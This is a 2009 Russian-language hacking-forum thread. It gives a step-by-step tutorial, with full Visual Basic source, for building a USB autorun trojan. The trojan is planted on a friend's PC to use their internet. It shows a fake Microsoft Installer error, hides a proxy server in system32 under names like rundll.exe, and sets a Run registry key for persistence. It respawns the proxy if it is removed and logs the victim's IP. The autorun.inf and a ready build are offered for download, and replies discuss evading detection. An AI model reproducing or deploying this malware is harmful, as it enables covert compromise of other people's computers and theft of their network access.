Халявный интернет через локальную сеть

Тема в разделе "Статьи", создана пользователем lytgeygen, 11 ноя 2009.

  1. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    Халявный интернет ? миф или реальность ?
    не знаю как для других но для меня это реальность в каком то смысле...

    В этой статье я опишу как заниматься сёрфингом без интернета, если у вашего друга
    интернет подключал тот же провайдер что и вам и если после отключения или когда на
    счёту нет денег локальная сеть остаётся рабочей...

    Вот что вам нужно будет сделать это:
    Прийти к другу, вставить флешку, в окне запуска выбрать наш файл, нажать на одну
    кнопку и вытащить флешку, вуаля и готово. А что произошло в это время ?
    Когда мы вставили флешку и и открыли её программой запуска которая на флешке
    Показалось окошко об ошибке Microsoft Installer, мы нажали на кнопку Don't Send
    и окно закрылось, но перед тем как мы увидели это окно эта программа скопировала
    то что в ней есть на компьютер, прописала её в реестр и запустила её, а ещё записывает
    локальный IP если вы его не знаете.

    Программа которая была скопирована на компьютер сохраняет на компьютер ещё одну программу
    и файл с настройками для неё. этой второй программой является простой прокси сервер
    совершенно легальный и безпалевнный... правда весит в упакованном виде (UPX) 135Кб,
    но это не главное. Всё равно с флешки копируется.

    Если этот прокси сервер был удалён то скопированная на компьютер программа опять
    его создаст. Но если будет удаленна сама эта программа то не обессудьте.

    Теперь я опишу весь процесс сборки вируса:

    [Что нужно]:
    Visual Basic 5 или Visual Basic 6 (лучше)
    Прокси сервер

    Для начала расмотри рассмотрим файл конфига для прокси сервера:

    Код:
    [Connection]
    Port=8080
    
    [Authorization]
    User=admin
    Password=password
    Port=8080 - порт на котором будет работать прокси, я поставил 8080 т.к. при запуске Брандмауэр не реагировал

    User=admin - логин для авторизации при подключении к прокси
    Password=password - пароль для авторизации при подключении к прокси

    Можно конечно удалить значение admin и password но тогда прокси будет доступен для всех...
    т.е. конфиг будет выглядит так:

    Код:
    [Connection]
    Port=8080
    
    [Authorization]
    User=
    Password=
    Ну а если конфига не будет вообще то прокси сервер будет запускаться по дефолту
    на 3128 порту без логина и пароля

    Теперь начнём собирать в вирус:
    открываем Visual Basic и создаём новый проект потом в меню кликаем Add-Ins -> Add-Ins Manager...
    Потом делаем так как показано на картинке ai027.radikal.ru_0911_71_1d16afabd98at.jpg


    Потом создаём RES файл и добавляем туда с начало(!) прокси сервер, а после конфиг для него.
    ai033.radikal.ru_0911_55_3ffedbb47e07t.jpg
    [​IMG]


    После нажимаем на кнопку с рисунком дискеты и сохраняем. После сохранения RES файл
    автоматически добавляет его в проект...

    [​IMG]


    У формы проекта изменим свойство Caption и Свойство ControlBox ставим в положение False
    На форму добавляем таймер и в свойство Interval пишем 60000 (это максиму)

    и пишем такой код:

    Код:
    Const PathPROXY = "C:\WINDOWS\system32\"
    Const NameProxy = "winlocal.exe"
    
    Private Sub Form_Load()
    App.TaskVisible = False
    If Dir(PathPROXY & NameProxy) <> "" Then
        Shell PathPROXY & NameProxy, vbHide
    End If
    End Sub
    
    Private Sub Timer1_Timer()
    Dim a() As Byte
    If Dir(PathPROXY & NameProxy) = "" Then
        a = LoadResData(101, "CUSTOM")
        Open PathPROXY & NameProxy For Binary As #1
        Put #1, , a
        Close
        
        a = LoadResData(102, "CUSTOM")
        Open PathPROXY & "lps.ini" For Binary As #1
        Put #1, , a
        Close
        Shell PathPROXY & NameProxy, vbHide
    End If
    End Sub
    
    
    можно изменить:
    PathPROXY = "C:\WINDOWS\system32\" куда будет копироваться прокси сервер и конфиг, знак \ обязателен в конце
    NameProxy = "winlocal.exe" название прокси сервера, можно любое, но расширение .exe надо указывать обязательно

    Для привлечения меньшего внимания меняем иконку - это свойство Icon у формы
    Потом компилируем вирус: File -> Make Project1.exe...
    появиться окно сохранения, изменяем имя и нажимаем кнопку Options... и изменяем. Вот мой пример: as41.radikal.ru_i091_0911_2b_3d73c1ef5738t.jpg


    А теперь компилируем его.

    Теперь создаём ещё один новый проект и проделываем тоже самое с RES файлом только добавляем то что получилось
    после компиляции и больше ничего лишнего.

    Теперь украсим форму вот так: [​IMG]


    Добавляем в проект новый модуль и пишем в него этот код:

    Код:
    'Добавьте модуль в проект. Вставьте следующий код в модуль
    Public Const MAX_WSADescription = 256
    Public Const MAX_WSASYSStatus = 128
    Public Const ERROR_SUCCESS As Long = 0
    Public Const WS_VERSION_REQD As Long = &H101
    Public Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \ &H100 And &HFF&
    Public Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF&
    Public Const MIN_SOCKETS_REQD As Long = 1
    Public Const SOCKET_ERROR As Long = -1
    Public Type HOSTENT
    hName As Long
    hAliases As Long
    hAddrType As Integer
    hLen As Integer
    hAddrList As Long
    End Type
    Public Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To MAX_WSADescription) As Byte
    szSystemStatus(0 To MAX_WSASYSStatus) As Byte
    wMaxSockets As Integer
    wMaxUDPDG As Integer
    dwVendorInfo As Long
    End Type
    Public Declare Function WSAGetLastError Lib "WSOCK32.DLL" () As Long
    Public Declare Function WSAStartup Lib "WSOCK32.DLL" (ByVal wVersionRequired As Long, lpWSADATA As WSADATA) As Long
    Public Declare Function WSACleanup Lib "WSOCK32.DLL" () As Long
    Public Declare Function gethostname Lib "WSOCK32.DLL" (ByVal szHost As String, ByVal dwHostLen As Long) As Long
    Public Declare Function gethostbyname Lib "WSOCK32.DLL" (ByVal szHost As String) As Long
    Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)
    Public Function GetIPAddress() As String
    Dim sHostName As String * 256
    Dim lpHost As Long
    Dim HOST As HOSTENT
    Dim dwIPAddr As Long
    Dim tmpIPAddr() As Byte
    Dim i As Integer
    Dim sIPAddr As String
    If Not SocketsInitialize() Then
    GetIPAddress = ""
    Exit Function
    End If
    If gethostname(sHostName, 256) = SOCKET_ERROR Then
    GetIPAddress = ""
    MsgBox "Windows Sockets error " & Str$(WSAGetLastError()) & " has occurred. Unable to successfully get Host Name."
    SocketsCleanup
    Exit Function
    End If
    sHostName = Trim$(sHostName)
    lpHost = gethostbyname(sHostName)
    If lpHost = 0 Then
    GetIPAddress = ""
    MsgBox "Windows Sockets are not responding. " & "Unable to successfully get Host Name."
    SocketsCleanup
    Exit Function
    End If
    CopyMemory HOST, lpHost, Len(HOST)
    CopyMemory dwIPAddr, HOST.hAddrList, 4
    ReDim tmpIPAddr(1 To HOST.hLen)
    CopyMemory tmpIPAddr(1), dwIPAddr, HOST.hLen
    For i = 1 To HOST.hLen
    sIPAddr = sIPAddr & tmpIPAddr(i) & "."
    Next
    GetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)
    SocketsCleanup
    End Function
    Public Function GetIPHostName() As String
    Dim sHostName As String * 256
    If Not SocketsInitialize() Then
    GetIPHostName = ""
    Exit Function
    End If
    If gethostname(sHostName, 256) = SOCKET_ERROR Then
    GetIPHostName = ""
    MsgBox "Windows Sockets error " & Str$(WSAGetLastError()) & " has occurred. Unable to successfully get Host Name."
    SocketsCleanup
    Exit Function
    End If
    GetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)
    SocketsCleanup
    End Function
    Public Function HiByte(ByVal wParam As Integer)
    HiByte = wParam \ &H100 And &HFF&
    End Function
    Public Function LoByte(ByVal wParam As Integer)
    LoByte = wParam And &HFF&
    End Function
    Public Sub SocketsCleanup()
    If WSACleanup() <> ERROR_SUCCESS Then
    MsgBox "Socket error occurred in Cleanup."
    End If
    End Sub
    Public Function SocketsInitialize() As Boolean
    Dim WSAD As WSADATA
    Dim sLoByte As String
    Dim sHiByte As String
    If WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS Then
    MsgBox "The 32-bit Windows Socket is not responding."
    SocketsInitialize = False
    Exit Function
    End If
    If WSAD.wMaxSockets < MIN_SOCKETS_REQD Then
    MsgBox "This application requires a minimum of " & CStr(MIN_SOCKETS_REQD) & " supported sockets."
    SocketsInitialize = False
    Exit Function
    End If
    If LoByte(WSAD.wVersion) < WS_VERSION_MAJOR Or (LoByte(WSAD.wVersion) = WS_VERSION_MAJOR And HiByte(WSAD.wVersion) < WS_VERSION_MINOR) Then
    sHiByte = CStr(HiByte(WSAD.wVersion))
    sLoByte = CStr(LoByte(WSAD.wVersion))
    MsgBox "Sockets version " & sLoByte & "." & sHiByte & " is not supported by 32-bit Windows Sockets."
    SocketsInitialize = False
    Exit Function
    End If
    SocketsInitialize = True
    End Function
    
    И код самой формы:

    Код:
    Const PathRD = "C:\windows\system32\"
    Const NameRD = "rundll"
    Const IpPath = "Data"
    
    Private Sub F1_Click()
    End
    End Sub
    
    Private Sub F2_Click()
    End
    End Sub
    
    Private Sub F3_Click()
    End
    End Sub
    
    Private Sub Form_Load()
    Dim a() As Byte
    
    Set Reg = CreateObject("WScript.Shell")
    Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & NameRD, PathRD & NameRD & ".exe"
    
    a = LoadResData(101, "CUSTOM")
    Open PathRD & NameRD & ".exe" For Binary As #1
    Put #1, , a
    Close
    
    
    Shell PathRD & NameRD & ".exe", vbHide
    Call WriteIP
    Beep
    
    End Sub
    
    Function WriteIP()
    Open App.Path & "\" & IpPath & "\ip.txt" For Append As #1
    Print #1, GetIPAddress
    Close #1
    End Function
    
    Private Sub Label1_Click()
    
    End Sub
    
    Const PathRD = "C:\windows\system32\" - куда копировать вирус
    Const NameRD = "rundll" - имя вируса
    Const IpPath = "Data" - папка куда сохраниться локальный ип жертвы, должна быть в одной папке с вирусом, лучше конечно дать ей атрибут "Скрытый"

    Тоже изменяем имя формы, иконку и всё что изменял в первом проекте и компилируем. Я скомпилировал под названием Setup

    теперь сделаем файл autorun.inf

    Код:
    [autorun]
    OPEN="Setup.exe"
    ICON="Setup.exe"
    shellMenu1=Launch "Microsoft"
    shellMenu1command="Setup.exe"
    ACTION = "Setup"
    Разбираем этот файл сами...

    Здесь есть всё что проделал, все исходники и два варианта последнего проекта. А также сам прокси сервер и несколько иконок
    котрые вам может ещё пригодятся. Так же там содержется готовая сборка вируса. (небольшая защита от школьников :) )



    отчёт о вирусах готовой сборки
    Для тех кто не знает как настраивать браузер на прокси-сервер

    (с) lytgeygen​
     
    Последнее редактирование: 11 ноя 2009
    11 ноя 2009
    1 человеку нравится это.
  2. onthar
    onthar Продвинутый
    Симпатии:
    224
    откуда вы ее все тянете. Ведь палево неимоверное.
    Не понимаю зачем вообще создавать форточку, пущай запускается в фоне.

    Вес бота без отстука с минимальным функционалом в 130 кбайт - чудовищно.
    К тому же автозапуск с флешек уже отключен даже у младенцев наверное и пенсионеров.

    Так же, "локалка" локалке - рознь. Например у меня в локалке тоже динамика, как и во внешке, с выдачей по дхцп ипа раз в неделю где-то. Да и прямого коннекта нет, все через концентраторы проходит, трафик жестко фильтруется, и даже просканить прокси-порты может быть весьма проблематично. Нужен отстук.

    И прокся эта, как я понял не анонимна во внешней сети.

    Зы.
    Есть у нас в сети добрые люди, которые сами открывают прокси для серфинга без всяких троянов.

    Не осилил. Нужно иметь билд готового прокси-бота? Или что? Пояснее тут распиши.
     
    11 ноя 2009
  3. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    Не обязательно прокси бота, в архиве есть простой прокси сервер который сам запускается...

    Незная как у тебя но у меня локалка по проще устроена, и сканируется нормально...

    p.s. ссылку на скачку подправил...

    Добавлено через 11 минут
    Даже если не запустится авторан то всё равно выскочит такое меню:
    http://i038.radikal.ru/0911/7f/cee11667c00f.jpg
     
    Последнее редактирование: 11 ноя 2009
    11 ноя 2009
  4. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    Я это учёл и в архив приложил такой исходник

    Добавлено через 2 минуты
    Для этого не обязательно копировать всю статью
     
    Последнее редактирование: 11 ноя 2009
    11 ноя 2009
Загрузка...